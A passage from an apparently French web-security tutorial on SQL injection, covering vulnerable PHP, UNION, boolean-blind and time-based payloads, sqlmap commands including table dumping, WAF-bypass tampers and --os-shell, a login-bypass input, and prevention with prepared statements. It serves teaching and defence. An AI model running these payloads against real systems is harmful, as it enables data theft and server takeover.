4. Injections SQL : exploitation et prévention

Les injections SQL restent la vulnérabilité web la plus critique selon l’OWASP. Elles permettent à un attaquant d’interagir directement avec la base de données d’une application, pouvant mener à l’extraction de données sensibles, à la modification de contenu, voire à la compromission complète du serveur.

Principe de l’injection SQL

Une injection SQL survient quand une entrée utilisateur est incorporée directement dans une requête SQL sans validation ni échappement.

// Code vulnérable
$id = $_GET["id"];
$query = "SELECT * FROM users WHERE id = " . $id;

// Avec id=1 OR 1=1 :
// SELECT * FROM users WHERE id = 1 OR 1=1
// → Renvoie TOUS les utilisateurs !

Types d’injections SQL

UNION-based : extraction de données

-- Trouver le nombre de colonnes
http://site.fr/page?id=1 ORDER BY 3--

-- Extraire des données avec UNION
http://site.fr/page?id=-1 UNION SELECT 1,username,password FROM users--

-- Obtenir la version MySQL
http://site.fr/page?id=-1 UNION SELECT 1,@@version,3--

Boolean-based blind : sans retour visible

-- Si "1=1" renvoie du contenu et "1=2" non → vulnérable
http://site.fr/page?id=1 AND 1=1--   ← page normale
http://site.fr/page?id=1 AND 1=2--   ← page vide ou erreur

-- Extraire lettre par lettre
http://site.fr/page?id=1 AND SUBSTRING(username,1,1)='a'--

Time-based blind : sans différence visible

-- Forcer un délai si la condition est vraie
http://site.fr/page?id=1 AND SLEEP(5)--        ← MySQL
http://site.fr/page?id=1; WAITFOR DELAY '0:0:5'--  ← MSSQL

SQLmap : automatisation

# Test basique d'une URL
sqlmap -u "http://site.fr/page?id=1" --dbs

# Extraire les tables d'une DB
sqlmap -u "http://site.fr/page?id=1" -D ma_base --tables

# Extraire des données d'une table
sqlmap -u "http://site.fr/page?id=1" -D ma_base -T users --dump

# Avec cookie d'authentification
sqlmap -u "http://site.fr/profile" --cookie="session=abc123" --dbs

# Bypass WAF avec tamper scripts
sqlmap -u "http://site.fr/page?id=1" --tamper=space2comment,randomcase

# Tenter un shell OS si droits suffisants
sqlmap -u "http://site.fr/page?id=1" --os-shell

Injection SQL dans un POST (formulaire de login)

# Tester un formulaire de login
sqlmap -u "http://site.fr/login" --data="username=admin&password=test" --dbs

# Bypass de login classique
Username: admin'--
Password: (anything)
# Requête générée : SELECT * FROM users WHERE user='admin'--' AND pass='test'
# Le -- commente la vérification du mot de passe

Prévention : requêtes préparées

// PHP PDO — SÉCURISÉ
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET["id"]]);
$user = $stmt->fetch();

// PHP PDO avec paramètres nommés
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :user AND password = :pass");
$stmt->execute([":user" => $username, ":pass" => $hashedPassword]);

// ORM (Eloquent, Doctrine) : protection automatique
$user = User::where("email", $email)->first();
Points clés :

  • L’injection SQL permet d’extraire, modifier ou supprimer des données en base
  • SQLmap automatise la détection et l’exploitation avec des dizaines de techniques
  • La protection absolue : requêtes préparées (PDO, ORM) — jamais de concaténation
  • Valider ET échapper toutes les entrées utilisateur côté serveur
SEE ALL Add a note
YOU
Add your Comment